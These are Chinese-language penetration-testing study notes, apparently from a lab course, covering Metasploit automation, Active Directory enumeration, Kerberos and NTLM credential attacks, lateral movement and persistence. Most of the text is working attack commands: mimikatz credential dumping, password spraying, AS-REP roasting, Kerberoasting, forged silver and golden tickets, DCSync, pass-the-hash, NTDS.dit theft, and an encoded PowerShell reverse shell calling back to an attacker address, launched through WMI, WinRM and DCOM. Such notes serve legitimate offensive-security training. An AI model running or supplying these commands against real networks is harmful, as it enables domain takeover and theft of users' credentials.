配置,使用

tail /etc/proxychains4.conf

socks5 127.0.0.1 1080

sudo proxychains xfreerdp /v:172.16.5.200 /u:luiza

端口转发

sessions -i 12
portfwd -h
portfwd add -l 3389 -p 3389 -r 172.16.5.200
sudo xfreerdp /v:127.0.0.1 /u:luiza

20.4 自动化MSF

20.4.1 资源脚本

创建脚本文件listener.rc

use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.119.4
set LPORT 443
set AutoRunScript post/windows/manage/migrate 
set ExitOnSession false
run -z -j

加载脚本文件

sudo msfconsole -r listener.rc

运行payload

iwr -uri http://192.168.119.4/met.exe -Outfile met.exe
.\met.exe

获得shell并自动迁移到notepad进程,并后台运行

其他系统自带脚本

ls -l /usr/share/metasploit-framework/scripts/resource

21.2 AD域手动枚举

21.2.1 Windows旧工具

枚举域用户,查询制定域用户,查询域组,查询组成员

xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75
net user /domain
net user jeffadmin /domain
net group /domain
net group "Sales Department" /domain

21.2.2 使用powershell和.NET枚举

枚举当前域信息

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

编写脚本,并加载运行

enumeration.ps1

# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Print the variable
$domainObj
powershell -ep bypass
.\enumeration.ps1

查询DC域控

# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Store the PdcRoleOwner name to the $PDC variable
$PDC = $domainObj.PdcRoleOwner.Name

# Print the $PDC variable
$PDC

用adsi检索DN

([adsi]'').distinguishedName
# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Store the PdcRoleOwner name to the $PDC variable
$PDC = $domainObj.PdcRoleOwner.Name

# Store the Distinguished Name variable into the $DN variable
$DN = ([adsi]'').distinguishedName

# Print the $DN variable
$DN

LDAP枚举

$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName 
$LDAP = "LDAP://$PDC/$DN"
$LDAP
PS C:\Users\stephanie> .\enumeration.ps1
LDAP://DC1.corp.com/DC=corp,DC=com

21.2.3 在脚本中增加搜索功能

使用DirectoryEntry和DirectorySearcher进行搜索

$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName 
$LDAP = "LDAP://$PDC/$DN"

$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)

$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.FindAll()

会得到很多信息,进一步检索主机用户信息

$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName 
$LDAP = "LDAP://$PDC/$DN"

$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)

$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="samAccountType=805306368"
$dirsearcher.FindAll()

枚举每个属性

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domainObj.PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName 
$LDAP = "LDAP://$PDC/$DN"

$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)

$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="samAccountType=805306368"
$result = $dirsearcher.FindAll()

Foreach($obj in $result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }

    Write-Host "-------------------------------"
}

查看某个用户(jeffadmin)所属的组

$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="name=jeffadmin"
$result = $dirsearcher.FindAll()

Foreach($obj in $result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop.memberof
    }

    Write-Host "-------------------------------"
}

做成函数方便自定义参数进行搜索

function LDAPSearch {
    param (
        [string]$LDAPQuery
    )

    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
    $DistinguishedName = ([adsi]'').distinguishedName

    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")

    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)

    return $DirectorySearcher.FindAll()

}

使用的时候,先导入

Import-Module .\function.ps1

搜索用户、组

LDAPSearch -LDAPQuery "(samAccountType=805306368)"
LDAPSearch -LDAPQuery "(objectclass=group)"

搜索组中的对象

foreach ($group in $(LDAPSearch -LDAPQuery "(objectCategory=group)")) {$group.properties | select {$_.cn}, {$_.member}}

搜索某个组里的成员

$sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))"
$sales.properties.member

如有组嵌套可以继续使用上面方法搜索成员

21.2.4 使用PowerView枚举AD

导入

Import-Module .\PowerView.ps1

枚举域信息、域用户、域用户名、筛选域用户信息、组名、组下成员

Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member

21.3 AD域手动枚举-拓展

21.3.1 枚举操作系统

继续PowerView枚举,枚举域主机、筛选主机名和操作系统

Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname

21.3.2 获取已登录用户

查看当前用户能访问域内哪些主机

Find-LocalAdminAccess

使用当前用户访问域内主机获取信息

Get-NetSession -ComputerName files04 -Verbose
Get-NetSession -ComputerName web04 -Verbose

如果没有权限会显示
VERBOSE: [Get-NetSession] Error: Access is denied

如果可以访问

Get-NetSession -ComputerName client74

CName        : \\192.168.50.75
UserName     : stephanie
Time         : 8
IdleTime     : 0
ComputerName : client74

针对Windows11操作系统可能无法远程获取到上面信息,因为权限不够,可以查看低版本的操作系统

Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

然后可以尝试使用其他工具进行连接枚举已登录用户,比如PsLoggedOn

.\PsLoggedon.exe \\files04
不成功
Unable to query resource logons
成功
Users logged on locally:
     <unknown time>             CORP\jeffadmin

Users logged on via resource shares:
     10/5/2022 1:33:32 AM       CORP\stephanie

21.3.3 通过SPN(服务主体名)枚举

列出某个账号的SPN,是向dc进行查询

setspn -L iis_service

也可以用PowerView枚举

Get-NetUser -SPN | select samaccountname,serviceprincipalname

针对结果中web服务查,看域名对用的ip

nslookup.exe web04.corp.com

21.3.4 枚举对象权限

枚举当前用户权限,使用PowerView

Get-ObjectAcl -Identity stephanie

在结果中针对SID标识转换成对象进行查看

Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-553

可以获得SecurityIdentifier对ObjectSID的权限ActiveDirectoryRights是ReadProperty

查看所有对“Management Department”组有GenericAll的权限

Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

查看结果中所有sid信息

"S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName

发现当前用户有权限,然后将自己加入到Management Department组

net group "Management Department" stephanie /add /domain
Get-NetGroup "Management Department" | select member

可以成功,再删除

net group "Management Department" stephanie /del /domain
Get-NetGroup "Management Department" | select member

21.3.5 枚举域共享

PowerView

Find-DomainShare

访问域共享,powershell下

ls \\dc1.corp.com\sysvol\corp.com\
ls \\dc1.corp.com\sysvol\corp.com\Policies\
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml

获得hash,在kali下可以破解

gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

查看其他共享获得敏感文件

ls \\FILES04\docshare
ls \\FILES04\docshare\docs\do-not-share
cat \\FILES04\docshare\docs\do-not-share\start-email.txt

邮件中有密码明文

21.4 自动枚举

21.4.1 SharpHound自动枚举

导入、帮助

Import-Module .\Sharphound.ps1
Get-Help Invoke-BloodHound

获取域信息

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

生成zip包文件,下载进行分析

21.4.2 使用BloodHound进行分析

kali下开启数据库

sudo neo4j start

http://localhost:7474
neo4j/neo4j

登录后提示改密码

启动bloodhound

bloodhound

登录neo4j数据库后,在gui界面导入zip包,在界面“Database Info”可以查看域相关所有信息,在“Analysis”可以看到预设的分析策略,比如

Find all Domain Admins
Shortest Paths
查看最短路径

将获得到权限的用户和主机右键标记为“Mark User as Owned”,然后重新规划获得域控的最短路径

22.1 AD身份认证

22.1.1 NTLM认证

认证时使用ip地址,一共7个步骤

client --- server --- DC

client使用密码计算ntlm
client将username发送给server
server返回给client一个随机挑战串nonce
client使用ntlm加密nonce形成res发给server
server将res、username、nonce发给DC
DC上有所有用户的ntlm,使用对用username的ntlm解密res获得nonce,比对nonce是否正确
DC判断后将结果发给server

22.1.2 Kerberos认证

变换了认证模式

client --- DC(KDC)

client --- server

过程是client向DC请求票据,然后使用票据访问server。

22.1.3 缓存AD认证信息

hash一般存储在LSASS中,使用mimikatz来dump hash

xfreerdp /cert-ignore /u:jeff /d:corp.com /p:HenchmanPutridBonbon11 /v:192.168.50.75
cd C:\Tools
.\mimikatz.exe
privilege::debug
获取已登录的用户hash
sekurlsa::logonpasswords

滥用TGT和服务票证进行身份验证,获取自己和其他用户的票据

dir \\web04.corp.com\backup
sekurlsa::tickets

可以看到TGT和TGS

22.2 AD身份认证攻击

22.2.1 密码喷洒攻击

密码暴力破解会导致密码锁死,所以要先查看密码策略

net accounts

如果有密码锁定次数,如5次/30分钟,就只能测试4次/30分钟,不然就会被锁定

1)一般用密码喷洒(使用LDAP和ADSI)

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!")

如果正确

distinguishedName : {DC=corp,DC=com}
Path              : LDAP://DC1.corp.com/DC=corp,DC=com

错误会显示“The user name or password is incorrect.”

也可以使用现成脚本https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1

cd C:\Tools
powershell -ep bypass
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin

2)利用SMB密码喷洒

crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

crackmapexec smb 192.168.50.75 -u dave -p 'Flowers1' -d corp.com
显示“Pwn3d!”说明可以成功登录进行控制

3)基于TGT密码喷洒

.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

22.2.2 AS-REP烘焙

在kali下使用一个域账号及密码向DC请求AS-REQ,验证成功会返回AS-REPKey和TGT,就可以破解密码了。

impacket-GetNPUsers -dc-ip 192.168.50.70  -request -outputfile hashes.asreproast corp.com/pete
输入密码

破解

hashcat --help | grep -i "Kerberos"
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Windows下可以使用Rubeus.exe,使用当前用户权限

cd C:\Tools
.\Rubeus.exe asreproast /nowrap

/nowrap去掉空格,复制下来破解

sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

枚举可以使用PowerView命令,或者kali上使用impacket-GetNPUsers

Get-DomainUser -PreauthNotRequired
impacket-GetNPUsers -dc-ip 192.168.50.70 corp.com/pete

22.2.3 Kerberoasting

在Windows上使用Rubeus,使用当前用户获取SPN然后请求DC获得TGS-REP

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

破解

hashcat --help | grep -i "Kerberos"
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

kali上使用impacket-GetUserSPNs,需要一个域账号和密码

sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete

一般获得的是SPN服务账号的hash,破解

sudo hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

22.2.4 白银票据

在指导SPN服务账号和hash的情况下,使用域SID和SPN,修改不具备权限的用户票据。

iwr -UseDefaultCredentials http://web04
拒绝访问

mimikatz进行获取域SID和SPN账号hash

privilege::debug
sekurlsa::logonpasswords

SID               : S-1-5-21-1987370270-658905905-1781884369-1109
        msv :
         [00000003] Primary
         * Username : iis_service
         * Domain   : CORP
         * NTLM     : 4d28cf5252d39971419580a51484ca09

这个SID也可以查看当前用户获得

whoami /user

域SID是去掉最后一段

用mimiaktz伪造票据

kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
exit

查看票据,再访问,就可以成功访问了

klist
iwr -UseDefaultCredentials http://web04

22.2.5 DC同步(dcsync)

需要域管理员或者企业管理员具有同步权限的用户权限

Windows下使用mimikatz获得制定用户的hash

cd C:\Tools\
.\mimikatz.exe
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator

破解

hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

kali上使用impacket-secretsdump

impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70

23.1 AD横向移动技术

23.1.1 WMI和WinRM

WMI:Windows管理接口(使用135端口和19152-65535之前的高端口),创建计算器进程

wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

使用powershell

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options 
$command = 'calc';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

要获得反弹shell,可以使用powershell反弹,先做编码

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

注意编码utf16

python3 encode.py
获得powershell的反弹shell代码
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

WinRM:远程主机管理(使用5986https和5985http)

winrs -r:files04 -u:jen -p:Nexus123!  "cmd /c hostname & whoami"

winrs -r:files04 -u:jen -p:Nexus123!  "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

powershell

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential

成功返回
session ID 1

进入session可以执行命令
Enter-PSSession 1

23.1.2 PsExec

条件

用户是本地administrators组
开启ADMIN$
开启文件和打印共享
./PsExec64.exe -i  \\FILES04 -u corp\jen -p Nexus123! cmd

23.1.3 hash传递(pth)

条件

smb的445端口可访问
开启ADMIN$
开启文件和打印共享
/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73

23.1.4 hash跨越

获得一台机器的用户(本地管理员system权限)后,有与管理员登录的话,使用mimikatz获得其他用户hash(域管理员),就可以使用hash跨越

privilege::debug
sekurlsa::logonpasswords

创建域管权限的进程

sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

查看票据

klist
没有票据
net use \\files04
klist
有票据了
执行命令
.\PsExec.exe \\files04 cmd

23.1.5 票据传递

场景:当前用户没有权限访问某共享文件夹,使用mimikatz获得另一个具有权限的票据TGS,然后导入就可以访问了

whoami
ls \\web04\backup
当前用户没权限访问

privilege::debug
sekurlsa::tickets /export
dir *.kirbi
找到另一个账号的票据注入到当前用户session
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi

klist
查看已经有了dave的票据
ls \\web04\backup
可以访问了

23.1.6 DCOM(分布式组件对象模型)

使用135端口

powershell

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
tasklist | findstr "calc"

远程运行计算器,换成反弹shell

$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")

23.2 AD持久化

23.2.1 黄金票据

使用krbtgt的hash伪造票据

PsExec64.exe \\DC1 cmd.exe
当前用户没有权限访问DC1

到DC1上获得krbtgt的hash
privilege::debug
lsadump::lsa /patch
获得域SID和krbtgt的hash

在任意机器上先删除错误票据,为指定用户创建黄金票据,开启指定用户的cmd

kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
misc::cmd

然后访问DC1,需要使用主机名,使用IP会无法访问

PsExec.exe \\dc1 cmd.exe
whoami /groups
当前用户属于域管组了

23.2.2 Shadow副本

使用域管备份

vshadow.exe -nw -p  C:

- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

拷贝文件到指定目录

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak

注册表获取system

reg.exe save hklm\system c:\system.bak

获得上面两个文件后可以获得所有用户hash

impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

支付宝扫码打赏 微信打赏